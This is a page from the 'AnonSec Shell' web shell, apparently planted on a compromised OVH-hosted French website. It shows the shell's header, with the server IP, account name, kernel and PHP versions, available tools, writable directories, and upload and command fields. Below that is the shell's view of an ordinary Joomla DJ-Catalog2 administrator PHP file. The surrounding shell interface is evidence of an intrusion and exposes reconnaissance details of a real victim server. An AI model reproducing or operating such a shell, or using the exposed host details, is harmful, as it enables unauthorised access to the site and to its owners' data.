AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/brest/administrator/components/com_djcatalog2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/brest/administrator/components/com_djcatalog2/djcatalog2.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 *
 */

defined( '_JEXEC' ) or die( 'Restricted access' );
use Joomla\CMS\Version;
use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Language\Text;
$version = new Version;
$app = Factory::getApplication();

if (version_compare($version->getShortVersion(), '4.0.0', '<')) {
    $app->enqueueMessage('ERROR: DJ-Catalog2 v.4.x requires at least Joomla! ver. 4.0.0. Older versions are not supported!', 'error');
    $app->redirect(Route::_('index.php'));
}

if (!Factory::getUser()->authorise('core.manage', 'com_djcatalog2')) {
    $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
    $app->setHeader('status', 403, true);
    return;
}

if (!defined('DS')) {
    define('DS', DIRECTORY_SEPARATOR);
}

jimport('joomla.utilities.string');
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
jimport('joomla.application.component.controller');

$lang = Factory::getApplication()->getLanguage();
$lang->load('com_djcatalog2', JPATH_ROOT.'/administrator/components/com_djcatalog2', 'en-GB', false, false);
$lang->load('com_djcatalog2', JPATH_ROOT.'/administrator/components/com_djcatalog2', null, false, false);
$lang->load('com_djcatalog2', JPATH_ADMINISTRATOR, null, true, false);

// DJ-Catalog2 version no.
$db = Factory::getDBO();
$db->setQuery("SELECT manifest_cache FROM #__extensions WHERE type='component' AND element='com_djcatalog2' LIMIT 1");
$version = json_decode((string)$db->loadResult());
$version = (empty($version->version)) ? 'undefined' : $version->version;

if (!defined('DJCATVERSION')) {
    define('DJCATVERSION', $version);
}

$year = Factory::getDate()->format('Y');
if (!defined('DJCATFOOTER')) {
    define('DJCATFOOTER', '<div class="djc-footer"><a class="djc-logo" target="_blank" href="http://dj-extensions.com"><img src="'.Uri::base().'components/com_djcatalog2/assets/images/logo-djex.svg" alt="DJ-Extensions.com" /></a><ul class="djc-links"><li><a href="https://extensions.joomla.org/extension/e-commerce/shopping-cart/dj-catalog-2/" target="_blank"><img src="'.Uri::base().'components/com_djcatalog2/assets/images/feedback.svg" alt="Feedback" /><span>Leave feedback on JED</span></a></li><li><a href="https://support.dj-extensions.com/portal/en/kb/extensions/dj-catalog2" target="_blank"><img src="'.Uri::base().'components/com_djcatalog2/assets/images/support.svg" alt="Support" /><span>Support</span></a></li><li><a href="https://dj-extensions.com/blog/general/join-our-affiliate-program-and-make-money-sending-people-to-dj-extensions" target="_blank"><img src="'.Uri::base().'components/com_djcatalog2/assets/images/affiliate.svg" alt="Affiliate" /><span>Become an Affiliate</span></a></li><li><a href="https://support.dj-extensions.com/portal/en/community/dj-extensions/dj-catalog2" target="_blank"><img src="'.Uri::base().'components/com_djcatalog2/assets/images/help.svg" alt="Help" /><span>Help us to improve DJ-Classifieds</span></a></li><li><a href="https://dj-extensions.com/blog/dj-catalog2" target="_blank"><img src="'.Uri::base().'components/com_djcatalog2/assets/images/documentation.svg" style="height:15px" alt="DJ-Classifieds News" /><span>DJ-Catalog2w News</span></a></li></ul><p>&copy; 2009-'.date('Y').' by <a target="_blank" href="https://dj-extensions.com">DJ-Extensions.com</a> | All rights reserved.</p><ul class="djc-social"><li><a href="https://twitter.com/DJExtensions" target="_blank"><img src="'.Uri::base().'components/com_djcatalog2/assets/images/follow.svg" alt="Follow" /><span>Follow</span></a></li><li><a href="https://www.facebook.com/djextensions/" target="_blank"><img src="'.Uri::base().'components/com_djcatalog2/assets/images/like.svg" alt="Like" /><span>Like</span></a></li><li><a href="https://www.youtube.com/channel/UCii84LGLNgDiGcsWR1u546g" target="_blank"><img src="'.Uri::base().'components/com_djcatalog2/assets/images/subscribe.svg" alt="Subscribe" /><span>Subscribe</span></a></li></ul></div>');
}

require_once JPATH_ROOT.'/components/com_djcatalog2/defines.djcatalog2.php';
/*
define ('DJCATIMGFOLDER', JPATH_ROOT.'/media/djcatalog2/images');
define ('DJCATIMGURLPATH', Uri::root(true).'/media/djcatalog2/images');

define ('DJCATATTFOLDER', JPATH_ROOT.'/media/djcatalog2/files');
define ('DJCATATTURLPATH', Uri::root(true).'/media/djcatalog2/files');

define ('DJCATVIDPATH', 'media/djcatalog2/videos');
define ('DJCATVIDFOLDER', JPath::clean(JPATH_ROOT.'/'.DJCATVIDPATH));
*/

$version = new Version;

require_once(JPATH_ROOT.'/administrator/components/com_djcatalog2/lib/categories.php');
require_once(JPATH_ROOT.'/administrator/components/com_djcatalog2/lib/producercategories.php');
require_once(JPATH_ROOT.'/administrator/components/com_djcatalog2/lib/events.php');
require_once(JPATH_ROOT.'/administrator/components/com_djcatalog2/lib/djlicense.php');
require_once(JPATH_ROOT.'/administrator/components/com_djcatalog2/helpers/file.php');
require_once(JPATH_ROOT.'/administrator/components/com_djcatalog2/helpers/image.php');
require_once(JPATH_ROOT.'/administrator/components/com_djcatalog2/helpers/video.php');
require_once(JPATH_ROOT.'/administrator/components/com_djcatalog2/helpers/export.php');
require_once(JPATH_ROOT.'/administrator/components/com_djcatalog2/helpers/messenger.php');
require_once(JPATH_ROOT.'/administrator/components/com_djcatalog2/helpers/html/djcatalog2.php');

require_once(JPATH_ROOT.'/components/com_djcatalog2/helpers/html.php');
require_once(JPATH_ROOT.'/components/com_djcatalog2/helpers/user.php');
require_once(JPATH_ROOT.'/components/com_djcatalog2/helpers/quantity.php');
require_once(JPATH_ROOT.'/components/com_djcatalog2/helpers/subscription.php');

// TODO
//require_once(JPATH_ROOT.'/components/com_djcatalog2/lib/customfield.php');
//require_once(JPATH_ROOT.'/components/com_djcatalog2/lib/customfields/text.php');
require_once(JPATH_ROOT.'/administrator/components/com_djcatalog2/lib/upload.php');

$dispatcher =  Joomla\CMS\Factory::getApplication()->getDispatcher();
new Djcatalog2Event($dispatcher, []);
PluginHelper::importPlugin('djcatalog2');

$document = Factory::getDocument();
if ($document->getType() == 'html') {
    if (version_compare($version->getShortVersion(), '3.0.0', '<')) {
        $document->addStyleSheet(Uri::base().'components/com_djcatalog2/assets/css/adminstyle_legacy.css');
    }
    else {
        /** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
        $wa = Factory::getApplication()->getDocument()->getWebAssetManager();
        $wa->registerAndUseStyle("adminstyle",Uri::base().'components/com_djcatalog2/assets/css/adminstyle.css');
    }
}

$controller	= BaseController::getInstance('Djcatalog2');
$controller->execute(Factory::getApplication()->input->get('task'));
$controller->redirect();

Anon7 - 2022
AnonSec Team